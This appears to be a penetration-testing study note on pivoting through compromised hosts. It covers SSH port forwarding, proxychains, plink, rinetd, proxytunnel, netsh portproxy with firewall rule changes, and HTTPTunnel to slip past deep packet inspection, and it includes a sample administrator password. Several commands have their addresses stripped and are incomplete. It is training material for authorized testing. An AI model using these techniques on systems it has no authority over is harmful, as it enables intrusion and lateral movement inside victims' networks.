Pivoting - Port Redirection and Tunneling


Local Port Forwarding

When from your local machine you want to access a remote host which you don't have a direct connection to, via another machine that has a direct connection to that remote host.

ssh -N -L <bind_address>:<port>:<host>:<hostport> <username@address>

For instance, from our Kali, we want to forward port 445 to the Windows Server (which we don't have direct access to). We need to open the SSH tunnel from our Kali machine to the host we have direct access to, which also has direct access to the Windows Server.

Let's say:

  • direct machine IP is:
  • account on direct machine is: user
  • Windows Server has the IP:
sudo ssh -N -L user@ 

If you're dealing with Windows Server 2016, make sure that follow the SMB onfig guide at the end of [[smb-enumeration]].

Now you can connect like this:

smbclient -L -U <windows_username>

Remote Port Forwarding

This is used if you gained access to the remote host but a service there (e.g. MySQL) is exposed only on a local port or is blocked by the firewall. In this case, you can SSH out from your Kali machine to the remote host.


  • Your Kali IP:
  • Your Kali user is: user
  • Local port on your Kali will be: 2221
  • Local service on remote host is MySQL on port: 3306

On remote host, you do the following:

ssh -N -R user@

To verify that it work, on your Kali run:

ss -antp | grep 2221

No you can run your Kali tools on your Kali machine to interact with MySQL running locally on port 3306, on remote host, via your localhost and port 2221. Like this:

sudo nmap -sS -sV -p 2221

Dynamic Port Forwarding

This is used like in Local Port Forwarding except that for all ports and for all IP addressed.

Let's say:

  • our compromised machine IP is:
  • user name of this machine is: user
  • our local port on kali is: 8080

We open a dynamic (-D) tunnel:

sudo ssh -N -D user@

This will route application traffick to the target network via the SSH tunnel.

To use it, we can use ProxyChains. First we need to configure it, edit /etc/proxychains.conf (or preferably $(HOME)/.proxychains/proxychains.conf)


socks4 8080

Assuming that the remote network is, which you don't have direct access to, but only via your compromised host ( This is how you can use it now:

sudo proxychains nmap --top-ports=20 -sT -Pn


You can use it for SSH on Windows. Works pretty much the same.

Example of remote port forwarding (MySQL example from above):

plink.exe -ssh -l username -pw password -R

This will not give us the interactivity as a normal shell, so we should pipe it to cmd.exe:

cmd.exe /c echo y | plink.exe -ssh -l username -pw password -R

Then from Kali machine we can scan the MySQL:

sudo nmap -sS -sV -p 1234


Connection from a target machine to elsewhere via your machine. Edit /etc/rinetd.conf on your machine: <port> <destination_ip> <port>

rinetd needs to be restarted:

sudo service rinetd restart

Verify that rinetd is listening on this port:

ss -antp | grep "80"

From target machine, connect to the destination_ip using your machine ip:

curl <your_ip>


If a Squid proxy is there, we can try to use proxytunnel to tunnel another port on on a target, back to our machine on our local port:

proxytunnel -p $IP:3128 -d -a 4444


Note: SYSTEM-level privileges are required for NETSH to work.

It is similar to SSH local port forwarding. We need to make sure that the IPv6 and IP Helper are enabled on Windows (which they are by default).

To connect from your Kali to Windows Server (not available directly) via compromised Windows machine, assuming:

  • compromised Windows machine IP
  • compromised Windows machine local port: 4455
  • Windows Server port: 445

On the compromised Windows machine, we can add the IPv4-to-IPv4 proxy like this:

netsh interface portproxy add v4tov4 listenport=4455 listenaddress= connectport=445 connectaddress=

On the compromised Windows machine, we can verify that this worked:

netstat -anp TCP | find "4455"

By default, the firewall will disallow the connection, so we need to add the rule:

netsh advfirewall firewall add rule name="forward_port_rule" protocol=TCP dir=in localip= localport=4455 action=allow

If you're dealing with Windows Server 2016, make sure that follow the SMB config guide at the end of [[smb-enumeration]].

Now from your Kali you can connect like this:

smbclient -L --port=4455 --user=Administrator

Note: regardless of the config change to SMB2, expect the following error:

do_connect: Connection to failed (Error NT_STATUS_IO_TIMEOUT)
Failed to connect with SMB1 -- no workgroup available

Now we can mount a new share on your Kali:

sudo mkdir /mnt/win10_share
sudo mount -t cifs -o port=4455 // -o username=Administrator,password=Qwerty09! /mnt/win10_share

HTTPTunnel-ing Through Deep Packet Inspection

This is to be used in case there is a Deep Packet Inspection enabled, which allows only HTTP traffic. Assume you have compromised a Linux box and have root level access (logins, passwords, etc.).

HTTPTunnel is used to encapsulate traffic with HTTP requests, creating an "HTTP tunnel".

First, make sure httptunnel is installed on your Kali:

sudo apt update
sudo apt install httptunnel

Scenario: we have compromised a Linux based server but have access via HTTP only. From that Linux we can access another server, Windows Server 2016 via RDP.


  • Input: HTTP Tunnel will run on our Kali, localhost on port 8080
  • Output: compromised Linux server listening on port 1234
  • We will set up a local port forwarding on the compromised Linux server (local 8888 to remote Windows RDP 3389)
  • both your Kali and compromised Linux have httptunnel installed

Local port forwarding from the compromised Linux Server to Windows Server:

ssh -L user@

Verify on Linux Server:

ss -antp | grep "8888"

Set up HTTPTunnel on Linux Server:

hts --forward-port localhost:8888 1234

Verify on Linux Server:

ps aux | grep hts
ss -antp | grep "1234"

Now, all traffic sent to TCP port 8080 on our Kali Linux will be redirected into our HTTPTunnel (where it is HTTP-encapsulated, sent across the firewall to the compromised Linux Server and decapsulated) and redirected again to the Windows Server remote desktop.